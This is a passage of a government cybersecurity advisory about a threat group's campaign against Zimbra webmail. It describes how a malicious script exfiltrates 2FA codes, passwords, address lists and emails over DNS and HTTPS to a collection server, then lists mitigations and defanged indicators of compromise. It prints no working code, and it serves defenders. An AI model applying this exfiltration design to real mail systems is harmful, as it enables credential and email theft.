<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p><strong>Data Type </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>e </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Client Type </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>c </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Zimbra Version </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment  </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>v </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>URL at Time of Exploitation </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2FA Scratch Codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>2fa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pa </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW258158484 BCX8">
<div class="OutlineElement Ltr SCXW258158484 BCX8">
<p>pw </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<h4><strong>HTTPS exfiltration</strong></h4>
<p>Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in <a href="https://www.cisa.gov/#table4"><strong>Table 4</strong></a>. Traffic associated with HTTPS exfiltration will use the URL scheme shown in <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>.  </p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 4: HTTPS exfiltration types</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>Content Type </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p><strong>URL Path </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/json </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/p </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>application/octet-stream </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW3397685 BCX8">
<div class="OutlineElement Ltr SCXW3397685 BCX8">
<p>/v/d </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%207.png?itok=CdTcyMdN" width="1024" height="50" alt="Figure 7: Structure for information exfiltrated by HTTPS">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 7: Structure for information exfiltrated by HTTPS</strong></em></figcaption>
  </figure>
<p>Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  </p>
<p><a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> provides a summary of the JSON-based exfiltration.</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 5: HTTPS JSON exfiltration  </strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p><strong>JSON Key(s) </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Victim’s Email Address </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_email </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>email </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Client Type, Version, and Current URL </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>client, version, full_url </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Newly Created Application Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_app_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>app_password </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>Harvested Autocomplete Password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>gather_autocomplete_password </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW25077005 BCX8">
<div class="OutlineElement Ltr SCXW25077005 BCX8">
<p>autocomplete_password </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p>The script transmits all HTTPS exfiltration not identified in <a href="https://www.cisa.gov/#table5"><strong>Table 5</strong></a> using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> summarizes the data exfiltrated in this format.</p>
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<div class="TableContainer Ltr SCXW189907655 BCX8">
<div class="WACAltTextDescribedBy SCXW189907655 BCX8"><a class="ck-anchor"></a></div>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong> Table 6: HTTPS binary exfiltration</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Type of Information </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>Exfiltration Stage </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p><strong>X-Filename Header </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetInfoRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_environment </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetScratchCodesRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_2fa_codes </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetDeviceStatusRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_device_status </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>SOAP request for GetOAuthConsumersRequest </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_oauth_consumers </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>zimbra_batch_analytics.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Victim Organization’s Global Address List </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>gather_gal </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetry_{1-20}.json </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>Last 90 Days of Victim’s Emails </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>sendArchives </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW189907655 BCX8">
<div class="OutlineElement Ltr SCXW189907655 BCX8">
<p>telemetryData_{0-89}.json </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p>The script sends all exfiltrated data identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [<a href="https://attack.mitre.org/versions/v19/techniques/T1560/" target="_blank">T1560</a>]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in <a href="https://www.cisa.gov/#table6"><strong>Table 6</strong></a> using the application/octet-stream content typing rather than application/json.</p>
<p>At the beginning and end of the collection and exfiltration activity, during the <em>sendStartPing</em> and <em>sendFinishPing </em>stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in <a href="https://www.cisa.gov/#figure2"><strong>Figure 2</strong></a>, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (<em>start, finish, or error</em>).  </p>
<h4><strong>Catcher</strong></h4>
<p><em>Ulej </em>exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.</p>
<p>Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the <a href="https://www.cisa.gov/#resourcedev1">Resource development</a> section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.</p>
<p>The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  </p>
<p>However, if a query includes a domain formatted as shown in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>, the service saves a log file in JSON format to disk containing the following details of the DNS query:</p>
<ul>
<li>Time of query,</li>
<li>Source IP address for query,</li>
<li>Queried domain, and</li>
<li>Type of query.</li>
</ul>
<p>The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in <a href="https://www.cisa.gov/#figure6"><strong>Figure 6</strong></a> and <a href="https://www.cisa.gov/#figure7"><strong>Figure 7</strong></a>. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:</p>
<ul>
<li>Time,</li>
<li>Source IP address,</li>
<li>Request method,</li>
<li>Host,</li>
<li>Path,</li>
<li>Query string,</li>
<li>Headers, and</li>
<li>Base64 payload.</li>
</ul>
<p>These JSON event log files and binary output files are then initially saved to the directory <em>/root/hits/tmp</em> and later moved to the <em>/root/hits/ready</em> directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in <a href="https://www.cisa.gov/#figure8"><strong>Figure 8</strong></a> also executes hourly to remove all files last modified at least two days ago from the <em>/root/hits/ready</em> directory.</p>
<p><a class="ck-anchor"></a></p>



<figure class="c-figure c-figure--image" role="group">
  
  <div class="c-figure__media">    <img loading="lazy" src="https://www.cisa.gov/sites/default/files/styles/large/public/2026-07/Figure%208-Command%20used%20for%20automated%20directory%20cleanup.png?itok=IqvZvbLK" width="1024" height="92" alt="Figure 8: Command used for automated directory cleanup">



</div>
      <figcaption class="c-figure__caption"><em><strong>Figure 8: Command used for automated directory cleanup</strong></em></figcaption>
  </figure>
<h2><strong>Response strategies</strong></h2>
<h3><em><strong>Mitigations</strong></em><a class="ck-anchor"></a></h3>
<p>In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.</p>
<p>All organizations that use the ZCS webmail service should <strong>immediately prioritize</strong> ensuring that their ZCS is not running a vulnerable version. A patch for <a href="https://www.cve.org/CVERecord?id=CVE-2025-66376" target="_blank">CVE-2025-66376</a> was released for both 10.1.13 and 10.0.18 versions of ZCS [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening">D3-AH</a>]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [<a href="https://d3fend.mitre.org/tactic/d3f:Isolate/" target="_blank">d3f:Isolate</a>].</p>
<p>System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [<a href="https://d3fend.mitre.org/technique/d3f:ApplicationHardening" target="_blank">D3-AH</a>]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including <a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog">CISA’s Known Exploited Vulnerabilities Catalog</a> and <a href="https://www.ncsc.gov.uk/collection/vulnerability-management/guidance/responding-to-active-exploitation" target="_blank">NCSC-UK’s Responding to active exploitation of vulnerabilities</a> guidance.</p>
<p>Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [<a href="https://d3fend.mitre.org/technique/d3f:CredentialHardening" target="_blank">D3-CH</a>]. However, Application Passcodes may still be necessary and should be monitored closely.  </p>
<p>Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#MaintainLogCollectionStorage3Q">CPG 3.Q</a>]. This will allow organizations to monitor for and identify suspicious network activity [<a href="https://www.cisa.gov/cybersecurity-performance-goals-2-0-cpg-2-0#IdentifyAdverseEvents4B">CPG 4.B</a>], such as:</p>
<ul>
<li>Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficAnalysis" target="_blank">D3-NTA</a>];</li>
<li>Frequent DNS queries for a suspicious domain with seemingly random subdomains [<a href="https://d3fend.mitre.org/technique/d3f:DNSTrafficAnalysis" target="_blank">D3-DNSTA</a>];</li>
<li>A sudden spike of connections to a server associated with a recently established domain [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>]; and  </li>
<li>Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [<a href="https://d3fend.mitre.org/technique/d3f:NetworkTrafficCommunityDeviation">D3-NTCD</a>].</li>
</ul>
<p>Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the <a href="https://www.cisa.gov/#exfil1">Exfiltration</a> section of this advisory.</p>
<h3><em><strong>Indicators of compromise (IOCs)</strong></em><a class="ck-anchor"></a></h3>
<h4><strong>Flowerbed infrastructure</strong></h4>
<p>The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (<strong>Disclaimer: </strong>Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) <a href="https://www.cisa.gov/#table7"><strong>Table 7</strong></a> provides details about the server infrastructure used to host Flowerbed, and <a href="https://www.cisa.gov/#table8"><strong>Table 8</strong></a> lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [<a href="https://d3fend.mitre.org/technique/d3f:IdentifierActivityAnalysis" target="_blank">D3-IAA</a>].</p>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 7: Flowerbed server infrastructure</strong></em></caption>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Domain </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>IP Address </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>First Seen </strong></p>
</div>
</div>
</th>
<th role="columnheader">
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p><strong>Last Seen </strong></p>
</div>
</div>
</th>
</tr>
</thead>
<tbody>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zmailanalytics[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]104 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>8 July 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>15 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbra-metadata[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]18 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 August 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>14 October 2025 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>analyticemailmeter[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>37.120.247[.]228 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>emailanalytics.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>185.86.79[.]95 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>24 September 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>mailnalysis[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>104.248.134[.]194 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>11 November 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>17 February 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrastat[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>64.226.124[.]190 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 December 2025 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>zimbrasoft.com[.]ua </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>193.238.152[.]66 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>20 January 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>18 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>synacorzimbra[.]nl </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>216.252.238[.]64 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>3 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
<tr>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>istc-cloud[.]com </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>194.156.103[.]193 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>5 February 2026 </p>
</div>
</div>
</td>
<td>
<div class="TableCellContent SCXW193774983 BCX8">
<div class="OutlineElement Ltr SCXW193774983 BCX8">
<p>30 March 2026 </p>
</div>
</div>
</td>
</tr>
</tbody>
</table>
<p><a class="ck-anchor"></a></p>
<table dir="ltr" class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<caption><em><strong>Table 8: Flowerbed X.509 certificate SHA-1 hashes  </strong></em></caption>
<thead>
